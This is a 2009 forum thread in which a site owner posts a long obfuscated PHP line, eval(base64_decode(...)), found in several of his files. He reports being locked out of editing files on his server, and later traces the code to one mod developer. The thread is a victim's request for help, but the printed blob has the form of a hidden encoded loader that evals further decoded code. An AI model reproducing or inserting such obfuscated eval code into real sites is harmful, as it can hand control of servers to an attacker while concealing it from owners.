Guest maksum Posted February 17, 2009 Share Posted February 17, 2009 Here's an example of what was added to several of my files: eval(base64_decode("JGFzYmhSVmg9ImFjdVhqdkRPWmJGeWVBbyI7ZnVuY3Rpb24gYWN1WGp2RE9aYkZ5ZUFvKCRhWlZ OcUdUUEp5eEUsJGFBblN3a3RSYkJ2KXskYXZXeW91dWZJcnU9JGFaVk5xR1RQSnl4RV4kYUFuU3drdFJi QnY7cmV0dXJuICRhdld5b3V1ZklydTt9ZnVuY3Rpb24gYUdlVWRVWnNkSlROKCRhSmVDZmh6TFAsICRhd k1vUEtEZVdKSnJ0bWJIKXtmb3IoJGFKZmRIU1RsdWdPanJxUUQ9MCwkYVB3eGt0R3dkdj0wOyAkYUpmZE hTVGx1Z09qcnFRRDxzdHJsZW4oJGFKZUNmaHpMUCk7ICRhSmZkSFNUbHVnT2pycVFEKyssJGFQd3hrdEd 3ZHYrKyl7aWYoJGFQd3hrdEd3ZHY9PXN0cmxlbigkYXZNb1BLRGVXSkpydG1iSCkpeyRhUHd4a3RHd2R2 PTA7fSRhSmVDZmh6TFBbJGFKZmRIU1RsdWdPanJxUURdID0gYWN1WGp2RE9aYkZ5ZUFvKCRhdk1vUEtEZ VdKSnJ0bWJIWyRhUHd4a3RHd2R2XSwkYUplQ2ZoekxQWyRhSmZkSFNUbHVnT2pycVFEXSk7fXJldHVybi AkYUplQ2ZoekxQO30kYUdhTmRFTU1Nd3psUz0iYUdlVWRVWnNkSlROIjskYVlCVEh1Qk9LekNhPSJldmF sKHNoYTEoJ2FHZVVkVVpzZEpUTihhenZEaWVBVG9BSFhWeWptamtZTEp2cVN6cmZGbElJeFhIU3NvWVlQ cFRWTEZlYUdwUGQsYVlNektLaGRxZkxqT24pJykpIjtldmFsKGFHZVVkVVpzZEpUTihiYXNlNjRfZGVjb 2RlKCJlVHN3WVU0cUtoNG5JRElJUzJRT09nWWJHQUF3SFFvc2FXZCtGME1uSkJ4eGNCY3FEQ3M4QzI0S0 1nSUtKaWxiY0dsMk5FOCtLZ29qSnlRZkNpd2pVWHNoUGlBZlBpWVdLV3g3VGhFbUxCMTdmbkloRGlJN1J Sb2NBaWxLZUcxZE5EMHlQQU1yQVJrakszZFJRMkVNRlRVTkh5Y3dBU0VkRVIwL0JSTXpKQmMrY0cxcFN5 TWdIQkU2UGhnUEptMUVlWEJ3T0JvaE8wTVBJanRNS2kxdE5qYzNjRGdhSVR0RGJoMC9CUk16SkJjK2Noc 21DenNqSFc0NVBoZ0xZeDBXS2lZMUpnc3JQRnAxYm5NTkFERWlGeUEvZG5SUGJBNHhBUjExVjBObk94d3 JJVDhtQVc1eVdHeDhlVjlCZUcxZEtTY2tLZ2N2UEIwUkp6Tk1YbU52VG05d2JXbExPQ29LUFNjNEFrTit iVnRyZkdOclZHNXJDRHM4TkFRQ01DZ21NRFoyZEU5c2VFRnNkWGRJRnpvOUhIbHZkbXNDSVNzTklpdDFW ME5uTkJ3NElIWjBUMng5U0g1NWVsNVRjM1ZiWW5Ja0xCNDdKZ29yYmhRdlBCRUNOZzBORWdBOVlBdzdFU W9FUWtFdUloMHNQak02VFdBTU94RUtCRUpCTUNVUUtTSS9Kd2hzWVRzTkVSTS9UV2NnRmowbk9pd2hMeU lkWUEwVU15Y1FZMXMvSnpncUd5Y2dGajFnUGdJQWJUMFJLWEJ0YVVzalBCOXVjM2RPUVhodFhUUTlNbWx TYmlrZE9pMC9LQUVBSWhjL096RmhTeU1nSERzaU1pSUNMaWhRWW5JL0wwOW1heFVoS21wUkpRSUJLaHg3 ZGpKUGFpSVhLaFZ3QVF3bkVoVXdNVE1uSENzUUV5czNjREZlWkdwQ2VYWTdKZ3NWYUJVaEtnZ2ZGeXcvS EFZN01tNHljMmhmZFc1ekFRd25GbDRxSmpjOUdqMW9KWE4rYkV4SExpSWRBblVrS0FFcEtpYzVLejRMQ3 pkcUpHUmpiV2xMSXlBY0ZXa2xEUTBrS0NZcUp6UTlBRG91RkdrVGFsMVlZMmtVTmpZTmJoMHZJUjhyRVQ 0WUJpNCtYZ1J2WjNKUGFpSVhLaFZ3R1JBbUVoODFNeUp1TW5OK1EyNXFPZ01IR0dvTUtqY0pQZ29uS0JB NmFRcFJVM2h0WFRROU1oSklPendkRVQ0eUhnQW1JdzErRDJ0NVZHNXJGU0VxREVzV01DZ21NQ1l6SkVnV GNraDFibk1CRENjV1hqZzJJQ2dCTFNvY2FSTnFYRmhqYVJRMk5nMXVHeTgzWHhOelpWZERaeUFXUFFseE pRQXBLQkVnS1hBeFhuSjJXWDAvT1MwMGFUd1hQRG9JQXhFbktBdCtEMnQ1Vkc1ckZTRXFERXNISmk4TVB uVUxkRjkxYjF3aklUTTNSQ2NrQ2pnd09pd3dKaW9VUG54d01WNXpkbGw5UHprdE5Ha3JFVDB2TlFBR0hD VWNOU0psYmpKemYwTnVham9EQnhocUhEUXpQeVV3SUNBTUp5ZytEd0kzSkJZM0lYRVVVbW9zRnlBb1Bnc zRaQ0FZS2lZek95b2pMaEVpYVFwWFF6RW9DQ3c3SkN4UERRd25IQUVZT0R3SEJDdDNFUlVXS3gxaFh5TW hNeGtQSmo1ZWR4RVZGaXNkWVY4OU9qWVlGakJqRURjeGVEa0hQbWhEYmprbEJSY21DUnNhUFRndlIyb2l GeXBpZDBnT0xDa01OVGNZS0FJclkxaHFJemdJU25odEJIazNPam9LYmlZZVppY2tId1kzWlYwR0Foa2FP eFZvRlNFcUlnQUdaQkJRY0hJdGFSMHJQZzBuUERKTUlBQVNLeFlkQWhZckJ4MVdEUTBJS0RCdGFoUTJOa U1sQ2oxb1ZnME5DQ2d3YldvS0xUTWlQQnhnSmhZdFlDY0VFMlIyV1gwbU15UWZibkpZYWhFSEl6QVhGbD QwUFRJOEF5dG9KWFZ1UGdwRGF5UUtLamNpWVVzNktoVStGWEFmRnlJNURDcDFDMkJQYUdsWWIyb2pDUTR 6Rmw0c0lUTVdDU0l1REdrVGQwcEZZMnhkTFRjN09UUnBPZ3NyRVNBSkNpUWxEWDRQZG05SmJtNWNPaXM2 SERoa09BbzhEU1lzSFMwcUZqcHBDa3hGWlcxWWZTWXpKQjhWYUEwOUt3Z0ZGeVlnWGdSN2RqSlBhaUlMS 1c1cVRFRi9QVms2UGpjNkhITm9EeTg4T1RnR096bGVaeE1pYVFNckxnczZiamdDQm1NNUFDazNkaVlKYm h3UUp6NG5CUTBrYlNzNEpqTnBEQ1l1Q2lrcmR3SUdKaWtLZVNZNWFRMHJid3NySWpJUEZ5WXBWMlY5Sm5 kTmRXOEZiaXM3SHdaak5sbDlQeVV1VDNOdkR6d25Jd2tuSVE0V056UitiVEFlQUNzYUZYQUJEQ2M0RlR4 MUMyVlBhaUlYS2pzN0NTMGlJQngxY25Ja0FDcG1RMjR6ZHhGRFp5QVdQU2M2TEU5emJ4NHJPalFFSnlFT 0ZqYzBQeTVIYWlJWEtqczdDUzBpSUJ4d2FYWnRBRHM3Q0RzNmQxRkRJajhMT0N0K1lGUnVheGM3T2ljWk Z4Z1FXV1J5ZEhVZmJpd1VMejBrVVVRekxCNDhCajg5QXl0b1JteGdjd0VNSnhJTk1DWTZMRUZzYnc1c1l ITWFCakUrRURZOGVHdFRZVDlHY2lvK0drTWdJUmdxSVd0dVRXQnJHUzA4T0FJYUxtTmJkQmNCQ2dBK05n b25LVDhZUkgxeENYa3hPaWdjUFhKZkxTRW5GVGNtTlExK2NpVTlGaUlxUldrb09BSVhiajRRSXpkc2FWN S9Qd0IxYVdsT1RUWXVIekFnSlQxSGFqc0JQaXQrUWtGakxoWXBLeVFnQ0NZN1dHZ3RPQndhZUcxYmQzWX ZMQTQ4WVZwdWNqWk1DekVvSDJSMVBqMGJQblZYWVMwaURnWWdMQXN0ZkRNeEh5OGhIQ2NnTUE0UklpUVh kekU1SkVodU94azhLVElZWG1RU0d6VXpPQ0pJY0FvTE9pczdBQVpqR2hBM0pqTTdDU0lnRnlweWVBMWRm MklKWjI1NUxRWTRjVnAxYm5NREZqYzlEQzBKQzJsU2JtMUVQbTQwQUFJd1BrUitNVGs1RmhvcUFEcHBke DhYT2lFY1pIVTFKZ01oUFVKdVBESUlXR012RmlzMk16dFZibjRJTm00a0F3OHFLVmtyTnpKeVR6NHVIQ2 9uT1F0WlkzMVhiRGM3Y2tod0d4ZHVPeVFKUXpjbEVDcHlkR2RMT2pZSUsyQjFUQk12S0JncU4zWXNBVG9 xQ200M09Ca1JZeUVRT2pjNE9ncHVKQjAzWUhWWFF5b3JXWEUzT3prYk4yZGNQanNsRHdzaVBod0dPekpn Um00MFdHb2hJaGdUTmpraUJISnJhVTF1YVJZc1BTZFhRMzhzV1RFZ015OVNFbTBRT2pvblZreHNMZ3c3T npVb0hUcGhIVFkrTmdJSEtpTWVPeUEzSUFGZ0xCY2pZVDRDQnlZMVZ5azZKbll3TDNJT0p5c2dLQXdnYX hnMEltMHRBQzBHSEhOOEMwNUROeXdMUGpjaWRETnNFQm9pTHprSFAyRnpOanNtTnlBQmJpNVlJaWMwQ1E wd0tFVjJNMmhyVkc0eVdDc2lKQWxET0cxZE5pY2lPUm82RkNWdWMzZE9RMlVqR3lvaWJXbFRMMjhRUENz eFVUOWhKUTB0SW14bVFDMDZHaXN0Tmg0WGJTZ0JLVE00TFFZZ0tCbzhMejRDVFNBaUZIWTdPQzBLTm1FS UpqNW9Nd1IrTGhaL016czVWQkV1UlRnbk1oc3ZLaTRjTnpFek9qTnNid3d2UERBSkYzNFJXd1l3T2lnQk pSTmFjQmcrQ1JSak5CWXNJSFlsQmkwcUZqMHJKRkJNSW5OWmZ6dzBPaDkxYjBRdmJqOGVCaVZ3SlhzNkl qMGZkR0JYTFRzMUNRQWlQdzEzTnk0NURpQXJFU0FwTlI0Q0tpTlhPajA3WmdZZ0t4MDJZQ2NFRTN3U0dH UWtQeXdZSGowWEttZzJBUk40UFFzMk5pTXFHd2NyUld4Z2N4d1dNUzRST0NFekZnWXFZVm9TYkhjWUFqR XFIQzF2Q21zd0xDTVpJQ1VMVGwwVE9BczZPamM2Q200dVdDSW5OQWtOTUNoRmRqTm9kVUErY1ZwMWJpcE 1SeXc0RFNrbkloSXlibkpZYkhJeEF4RXViUmc2Smo4bUFYTm9XMmx1T2drWEt5SWRaSFVtSmh3NmFFWnV jaWRNQUM4c0NpcHZjU29BUGpZc0t6WWpTMTEvTHd0MmJIWjFIRG85RnlBcGFUVU1ObTBPTUQ0NmFRRXJL aHh1T2poTUZqQW9XUzA2TTJrSklTTVVJVGsrQWdSakpCYy9QU1FrRGpvbUZ5QnVJd05ESkNnWFBDQTNQU XB1TmhjN1BIY0FDaUFvRnlvM2RpSUtOMjhlSVR4M0dBc3FQbGw3ZkhJOUZqNHFWbXgwYTBNUU56OFdOel ZvYVZOaFAwWnVjaWRNQUM4c0NpcHZjU29BUGpZc0t6WWpTMTFqR0Jjd0l5TXNUejA3Rnp3cmR3VUhKaU1 OTURRL0xCMTBiMFE5UGpZQ1F5QWhHQ29oYTI0Ykt6Y01MQ0V2S0Fvd0xCczFOekp1VHowN0FTSXJha3NP SWo4ZU1EeDdKUW9vTzBKOGZpY1VXR1J6VzJKeWNpWWFPajhOT2hVS1RGNWpiMFYySVNZb0FYQnpWejV3Z DFBVFl5NFZPQ0VsZEVndElBZzNHaklVRjJSelJUc2dlWGRUUFRzS0lTQXdVaVl0T1J3cmNpOG1Hanh2Rk NjdE1nSVFKbTBTUEN0Mkx3QThid3dtSnlSTVFXMXBEU0FpTTJkTmRITlhQVG9sQXcwa2MxbGxPemc1R2p wdkREYytNbEZFTnlnQkxYVjJKdzRqS2tWcEl6Z0lGaThvSWpROU1oWURKeXdkSUQweU13Z21OQ1IrY2lV Z0ZTdHlYM3A4Y0V3QUx5d0tLbTl4UFFvMk94b2hObkJNRlNJaEREeHZjV3RCYWlJWEtqczdDVGhrSUJZO URUb2dEQ3NoQ3lzUlBBa2FaQkJYZTNWMlpsRnVjeEVnUGlJWVF6YzBDVHh2Y1RvYUxDSVJPbWwzRHc4aV BncGtkU1U4RFNNbURHbHVJUTBQTmloRWZnRTNQd3BwYjFkd2NuZ2NYV054Vmo4OUpDUlJjbUFjSnpocFV FdzNLVWRsZlNJN1VYSmdEQzhzT3dsZGYySWJOall2ZDFOaEp3d2pJbWxPV0dNPSIpLCJZUlZJb05PeE5O V2xjQ015IikpOw==")); Also, I suddenly cannot delete or write over files on my server. I have no idea what's going on or how to fix it. I'll keep this updated as I learn more (if I do.) Please help me if you know anything about this. Mike Quote Link to comment Share on other sites More sharing options...
Ausy Posted February 17, 2009 Share Posted February 17, 2009 Presume you have had a word with your host, what did they say? Quote Link to comment Share on other sites More sharing options...
Guest maksum Posted February 17, 2009 Share Posted February 17, 2009 Presume you have had a word with your host, what did they say? They had me email details to their security team... waiting to hear back from them. I will update when I know more in case this happens to anyone else. Quote Link to comment Share on other sites More sharing options...
Guest maksum Posted February 23, 2009 Share Posted February 23, 2009 Never did figure this out... by the way, the bits of code were being REMOVED from the original files, not added to. I was looking at the wrong version when I did a file compare. Also, I found out that this only affected mods from a single developer. I contacted the developer and he/she had actually seen something very similar happen before, but did not know why. I will just hope it doesn't happen again I s'pose. Quote Link to comment Share on other sites More sharing options...
Guest aguser Posted February 24, 2009 Share Posted February 24, 2009 wow, sounds very worrying. I also use 4.2.3 and have a custom mod so this could happen to a few if the mods were from same developer. Hope this is just a one off situation else we could be hearing from others too. (I will not ask for name of developer here but can I PM you?) Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.